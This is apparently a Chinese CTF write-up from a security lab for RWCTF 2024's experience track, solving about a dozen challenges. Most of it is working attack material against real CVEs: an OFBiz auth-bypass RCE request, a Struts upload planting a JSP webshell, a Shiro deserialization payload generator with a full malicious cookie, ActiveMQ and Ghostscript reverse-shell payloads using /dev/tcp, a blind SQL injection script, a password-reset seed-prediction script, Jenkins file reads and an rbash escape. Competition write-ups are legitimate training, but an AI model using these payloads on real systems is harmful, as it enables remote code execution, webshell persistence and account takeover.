RWCTF 2024 体验赛 Writeup

亚军

RWCTF 2024 体验赛 Writeup-小绿草信息安全实验室

Be-a-Docker-Escaper-4

ps aux

docker run --rm -it --pid=host --security-opt=apparmor=unconfined ubuntu bash

共享了宿主机的 pid namespace, 并且关闭了apparmor

一开始往逃逸的方向想了, 以为能 ptrace 注入啥的, 但是没有额外的 capabilities

结果 zysgmzb 说只要看 /proc/pid/root 目录就行

for fd in `find /proc/*/root`; do ls -al $fd | grep \>; done

遍历得到的 root 目录挨个访问即可, 或者用 find -L 去遍历软链接嗯搜也能找到 flag

然后想起来了去年的这篇文章, 确实有点印象但是没细看 (

https://www.anquanke.com/post/id/290540

Be-a-Cloud-Hacker

cloud-init 配置文件敏感信息泄露

/var/lib/cloud/instances/iid-local01/cloud-config.txt

Long Range 2

https://zysgmzb.club/index.php/archives/294

Be-a-Framework-Hacker

Apache OFBiz Authentication Bypass Leads to RCE (CVE-2023-51467)

https://github.com/vulhub/vulhub/tree/master/ofbiz/CVE-2023-51467

POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/2
Host: localhost:8443
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 62

groovyProgram=throw+new+Exception('/readflag'.execute().text);
RWCTF 2024 体验赛 Writeup-小绿草信息安全实验室

Be-More-Elegant

S2-066 (CVE-2023-50164)

https://paper.seebug.org/3086/#38-s2-066

上传文件目录穿越到 views/header_icon/index.php

POST /upload.action HTTP/1.1
Host: 47.99.57.31:8080
Content-Length: 1287
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://47.99.57.31:8080
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycTJbJecoaazcHtjf
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://47.99.57.31:8080/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: JSESSIONID=5D489463E6409CFA43018A51F3E5A692
Connection: close

------WebKitFormBoundarycTJbJecoaazcHtjf
Content-Disposition: form-data; name="FileUpload"; filename="blank.txt"
Content-Type: text/plain

<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }

    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("xzxzxzxz");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>
------WebKitFormBoundarycTJbJecoaazcHtjf
Content-Disposition: form-data; name="fileUploadFileName"

../../../views/header_icon/index.jsp
------WebKitFormBoundarycTJbJecoaazcHtjf--
RWCTF 2024 体验赛 Writeup-小绿草信息安全实验室

蚁剑直接连接网站主页, 然后执行 /readflag 拿到 flag

vision

date 命令读取 flag

RWCTF 2024 体验赛 Writeup-小绿草信息安全实验室

Old-Shiro

ShiroAttack2 爆破 shiro key 为 kPH+bIxk5D2deZiIxcaaaA==, remember cookie 为 rememberMe_rwctf_2024

题目环境不出网, 打内存马会超出 header 长度限制, 需要缩小 payload

经测试 cookie 的最大字符长度大约在 2600 左右

payload (JDK 8u362)

package com.example.Shiro;

import com.example.Util.ReflectUtil;
import com.example.Util.SerializeUtil;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.crypto.CipherService;
import org.apache.shiro.util.ByteSource;

import java.util.PriorityQueue;

public class ShiroDemo {
    public static void main(String[] args) throws Exception {

        TemplatesImpl templatesImpl = new TemplatesImpl();
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.makeClass("SC");

        String body = "javax.servlet.http.HttpServletRequest r = ((org.springframework.web.context.request.ServletRequestAttributes) org.springframework.web.context.request.RequestContextHolder.getRequestAttributes()).getRequest();\n" +
                "java.lang.reflect.Field f = r.getClass().getDeclaredField(\"request\");\n" +
                "f.setAccessible(true);\n" +
                "org.apache.catalina.connector.Response p =((org.apache.catalina.connector.Request) f.get(r)).getResponse();\n" +
                "java.io.Writer w = p.getWriter();\n" +
                "w.write(new java.util.Scanner(new java.io.File(\"/flag\")).next());\n" +
                "w.flush();";

        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
        constructor.setBody("{" + body + "}");
        clazz.addConstructor(constructor);
//        clazz.makeClassInitializer().setBody("{" + body + "}");

        // 设置 Super Class 为 AbstractTranslet
        CtClass superClazz = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
        clazz.setSuperclass(superClazz);

        ReflectUtil.setFieldValue(templatesImpl, "_name", "Hello");
        ReflectUtil.setFieldValue(templatesImpl, "_bytecodes", new byte[][]{clazz.toBytecode()});
        ReflectUtil.setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());

        BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
        PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
        priorityQueue.add("1");
        priorityQueue.add("1");

        beanComparator.setProperty("outputProperties");
        ReflectUtil.setFieldValue(priorityQueue, "queue", new Object[]{templatesImpl, templatesImpl});
       byte[] serialized = SerializeUtil.serialize(priorityQueue);

        CipherService cipherService = new AesCipherService();
        byte[] key = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource byteSource = cipherService.encrypt(serialized, key);
        byte[] value = byteSource.getBytes();
        String enc = Base64.encodeToString(value);
        System.out.println(enc.length());
        System.out.println(enc);
    }
}

http

POST /doLogin HTTP/1.1
Host: 121.40.80.33:8888
Content-Length: 25
Content-Type: application/x-www-form-urlencoded
Cookie: rememberMe_rwctf_2024=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
Connection: close

username=123&password=132
RWCTF 2024 体验赛 Writeup-小绿草信息安全实验室

Be-an-ActiveMq-Hacker

https://github.com/X1r0z/ActiveMQ-RCE

直接反弹 shell

<?xml version="1.0" encoding="UTF-8" ?>
    <beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="
     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
        <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
            <constructor-arg>
            <list>
                <value>bash</value>
                <value>-c</value>
                <value>![CDATA[bash -i >& /dev/tcp/IP/Port 0>&1]]></value>
            </list>
            </constructor-arg>
        </bean>
    </beans>

YourSqlTrick

https://github.com/wy876/POC/blob/main/Dedecms v5.7.111前台 tags.php SQL注入漏洞

题目环境删了 dedecms 的后台, load_file 会被自带的 WAF 拦截, 所以 flag 就在数据库里面

import requests
import time

flag = 'rwctf{'

i = 7

while True:
    for s in range(32, 128):
        print('testing', chr(s))

        url = 'http://121.40.226.16:30080'
        sql = "select+flag_value+from+flag"
        payload = r'/tags.php?tag=a/alias/about%27and{`\%27`%20id}%3E0.1+or+if(ascii(substr((' + sql + r'),' + str(i) + r',1))=' + str(s) + r',(SELECT+count(*)+FROM+information_schema.columns+A,+information_schema.tables+B,+information_schema.tables+C),1)--%20\\'

        start_time = time.time()
        res = requests.get(url + payload)
        end_time = time.time()

        if end_time - start_time >= 5:
            flag += chr(s)
            print('found!!!', flag)
            break
    i += 1

Be-a-Captcha-Guesser

https://exp10it.io/2023/10/jumpserver-伪随机数密码重置漏洞-cve-2023-42820-分析/

models.py

from django.contrib.auth.models import User
from django.shortcuts import render
from wagtail.admin.panels import FieldPanel
from wagtail.blocks import TextBlock
from wagtail.fields import RichTextField, StreamField

from wagtail.models import Page
from wagtailcodeblock.blocks import CodeBlock

user_code_map = {}

class HomePage(Page):
    body = StreamField([
        ("heading", TextBlock()),
        ("code", CodeBlock(label='Code')),
    ], use_json_field=True, blank=True)

    content_panels = Page.content_panels + [
        FieldPanel("body"),
    ]

class LoginPage(Page):

    def serve(self, request, *args, **kwargs):
        from .forms import CaptchaLoginForms
        if request.method == "POST":
            form = CaptchaLoginForms(data=request.POST)
            if form.is_valid():
                username = form.cleaned_data['username']
                exist = User.objects.filter(username=username).exists()
                if not exist:
                    form.add_error('username', 'username or password error')
                return render(request, "home/login_page.html", {"form": form, 'page': self})
        else:
            form = CaptchaLoginForms()
        return render(request, "home/login_page.html", {"form": form, 'page': self})

class ChangePasswordPage(Page):

    def serve(self, request, *args, **kwargs):
        from .forms import CaptchaResetPasswordForms
        from .util import random_string
        if request.method == "POST":
            form = CaptchaResetPasswordForms(data=request.POST)
            if form.is_valid():
                exist = User.objects.filter(username=form.cleaned_data['username'],
                                            email=form.cleaned_data['email']).exists()
                if exist:
                    username = form.cleaned_data['username']
                    request.session['username'] = username
                    code = random_string(6, lower=False, upper=False)
                    user_code_map[username] = code
                    print('code=', code)
                    return render(request, "home/change_password_page.html", {"form": form, 'page': self, "ok": True})
                else:
                    form.add_error('username', 'username or email error')
        else:
            form = CaptchaResetPasswordForms()
        request.session.delete('username')
        return render(request, "home/change_password_page.html", {"form": form, 'page': self})

class DoResetPasswordPage(Page):
    def serve(self, request, *args, **kwargs):
        from .forms import DoResetPasswordForms
        username = request.session.get('username')
        if not username or not User.objects.filter(username=username).exists():
            return render(request, "home/no_permission.html")
        if request.method == "POST":
            form = DoResetPasswordForms(data=request.POST)
            if form.is_valid():
                password1 = form.cleaned_data['password1']
                password2 = form.cleaned_data['password2']

                if password1 != password2:
                    form.add_error('password1', 'the two passwords are inconsistent')
                    return render(request, "home/do_reset_password_page.html",
                                  {"form": form, 'page': self, "ok": False})

                if user_code_map.get(username) == form.cleaned_data['code']:
                    user = User.objects.get(username=username)
                    user.set_password(password1)
                    user.save()
                    return render(request, "home/do_reset_password_page.html", {"form": form, 'page': self, "ok": True})
                else:
                    form.add_error('code', 'code or username error')
                    return render(request, "home/do_reset_password_page.html",
                                  {"form": form, 'page': self, "ok": False})
        else:
            form = DoResetPasswordForms()
        return render(request, "home/do_reset_password_page.html", {"form": form, 'page': self, "ok": False})

# wait for admin to publish
class FlagPage(Page):
    flag = RichTextField(blank=True)
    content_panels = Page.content_panels + [
        FieldPanel('flag')
    ]

JumpServer 密码重置漏洞的简化版

利用流程:

  1. 进入登录页面拿到验证码种子, 即 /captcha/image/后面的内容

  2. 脚本请求验证码 url, 批量播种

  3. 进入密码重置界面, username 为 admin, 邮箱为 admin@rwctf.game

  4. 脚本计算种子得到 reset code, 重置密码

  5. 登陆 wagtail 的管理后台查看 flag

注意根据题目环境修改验证码的尺寸 (77 x 45), 然后验证码是四位字符, 所以 charlist 长度为 4

# -*- coding: utf-8 -*-
#
import random
import string

import requests

string_punctuation = '!#$%&()*+,-.:;<=>?@[]^_~'

def random_string(length: int, lower=True, upper=True, digit=True, special_char=False):
    args_names = ['lower', 'upper', 'digit', 'special_char']
    args_values = [lower, upper, digit, special_char]
    args_string = [string.ascii_lowercase, string.ascii_uppercase, string.digits, string_punctuation]
    args_string_map = dict(zip(args_names, args_string))
    kwargs = dict(zip(args_names, args_values))
    kwargs_keys = list(kwargs.keys())
    kwargs_values = list(kwargs.values())
    args_true_count = len([i for i in kwargs_values if i])
    assert any(kwargs_values), f'Parameters {kwargs_keys} must have at least one `True`'
    assert length >= args_true_count, f'Expected length >= {args_true_count}, bug got {length}'

    can_startswith_special_char = args_true_count == 1 and special_char

    chars = ''.join([args_string_map[k] for k, v in kwargs.items() if v])

    while True:
        password = list(random.choice(chars) for i in range(length))
        for k, v in kwargs.items():
            if v and not (set(password) & set(args_string_map[k])):
                # 没有包含指定的字符, retry
                break
        else:
            if not can_startswith_special_char and password[0] in args_string_map['special_char']:
                # 首位不能为特殊字符, retry
                continue
            else:
                # 满足要求终止 while 循环
                break

    password = ''.join(password)
    return password

seed = 'ee613854767aba86658eac7bc1a8987d03bc132b'

for i in range(50):
    res = requests.get('http://121.40.246.97:32652/captcha/image/{}/'.format(seed))
    print('i: {} code: {}, len: {}'.format(i, res.status_code, len(res.content)))

random.seed(seed)

CAPTCHA_PUNCTUATION  = """_"',.;:-"""
CAPTCHA_LETTER_ROTATION = (-35, 35)
CAPTCHA_IMAGE_SIZE = (77, 45)

size = CAPTCHA_IMAGE_SIZE

# 长度 4
charlist = [1, 1, 1, 1]

# 验证码图片生成时的随机数处理
for char in charlist:
    random.randrange(*CAPTCHA_LETTER_ROTATION)

for p in range(int(size[0] * size[1] * 0.1)):
    random.randint(0, size[0])
    random.randint(0, size[1])

# 预测 reset code
code = random_string(6, lower=False, upper=False)
print(code)
RWCTF 2024 体验赛 Writeup-小绿草信息安全实验室

Be-a-Security-Researcher

这两天的 Jenkins CLI 任意文件读取 (CVE-2024-23897)

根据题目描述 "应急响应", 而且 /flag 文件不存在, 猜测 flag 位于 .bash_history

java -jar jenkins-cli.jar -s http://47.96.171.129:8080/ help "@/root/.bash_history"

Be-an-Interpreter-Hacker

https://github.com/jostaub/ghostscript-CVE-2023-43115

反弹 shell

%!PS
mark 
/OutputDevice 
/ijs 
/IjsServer 
(bash -c 'bash -i >& /dev/tcp/IP/Port 0>&1') 
.dicttomark 
setpagedevice

脚本需要一次性传过去

cat rev.gs | nc 47.98.192.157 39956

ALS

题目环境有在线 shell 功能

RWCTF 2024 体验赛 Writeup-小绿草信息安全实验室

awk rbash 逃逸

https://gtfobins.github.io/gtfobins/awk/

awk 'BEGIN {system("/bin/ls /usr/bin/")}'

awk 'BEGIN {system("/usr/bin/sudo -l")}'

awk 'BEGIN {system("/usr/bin/sudo /usr/local/bin/nexttrace --file /root/flag")}'
RWCTF 2024 体验赛 Writeup-小绿草信息安全实验室
RWCTF 2024 体验赛 Writeup-小绿草信息安全实验室
RWCTF 2024 体验赛 Writeup-小绿草信息安全实验室